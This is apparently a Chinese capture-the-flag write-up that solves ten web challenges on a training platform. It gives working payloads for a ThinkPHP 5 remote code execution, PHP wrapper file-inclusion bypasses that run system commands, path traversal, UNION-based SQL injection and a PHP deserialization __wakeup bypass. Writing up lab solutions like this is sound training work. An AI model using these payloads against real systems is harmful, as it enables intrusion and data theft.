攻防世界web高手篇(001-010)
0x00 baby_web
题目描述:想想初始页面是哪个
在url后面输入index.php,但跳转到1.php。打开网络,发现访问到过。
然后在响应头找到
0x01 Training-WWW-Robots
0x02 php_rce
搜一下ThinkPHP V5的漏洞,参考:https://www.cnblogs.com/backlion/p/10106676.html
直接使用payload,http://111.200.241.244:62801/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
,能够RCE。
http://111.200.241.244:62801/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
http://111.200.241.244:62801/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
0x03 Web_php_include
阅读代码发现php://
会被过滤,这里采用PHP://
大写绕过。
修改POST内容为<?php system("ls");?>
http://111.200.241.244:64165/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
得到PD9waHAKJGZsYWc9ImN0Zns4NzZhNWZjYS05NmM2LTRjYmQtOTA3NS00NmYwYzg5NDc1ZDJ9IjsKPz4K
,decode后得到flag。
解法2:利用data://伪协议
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
将 <?php system("cat fl4gisisish3r3.php");?>
base64加密,得到PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4=
执行后,查看源代码
0x04 ics-06
题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
id只能输入数字,输入其它的参数也会变成数字,这里使用burpsuite的intruder来爆破一下。
访问url
0x05 warmup
阅读源代码,发现注释<!--source.php-->
,进入url/source.php,页面显示
|
|
mb_substr($str, $start, $length )
函数根据 start
和 length
参数返回 str
中指定的部分。
mb_strpos ($haystack ,$needle )
函数返回 needle 在别一个字符串中首次出现的位置。
hint.php存在一条提示
?
两次url编码后为%253f
,由于不知道ffffllllaaaagggg文件的具体位置,依次增加../
测试。最后,构造http://111.200.241.244:60376/?file=source.php%253f../../../../../ffffllllaaaagggg
0x06 NewsCenter
题目描述:如题目环境报错,稍等片刻刷新即可。(等待了1个小时多。。。。)
输入1' order by 3#
,得知有三列。构造1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
爆破出表后,爆破字段1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#
最后,构造1' union select 1,2,(select group_concat(fl4g) from secret_table)#
0x07 NaNNaNNaNNaN-Batman
解压压缩包
目测是html文件,修改下后缀名。
把最后的eval修改成alert,阅读源码。
|
|
match的值应该是be0f233ac7be98aa
,输入得到flag{it's_a_h0le_in_0ne}
。也可以直接在控制台运行js代码。
0x08 PHP2
.phps:phps文件就是php的源代码文件。通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。
我们访问阅读一下源代码
|
|
使用url二次编码绕过
0x09 unserialize3
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。实例化xctf类并对其使用序列化。
|
|
运行结果O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。修改属性值http://111.200.241.244:65392/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}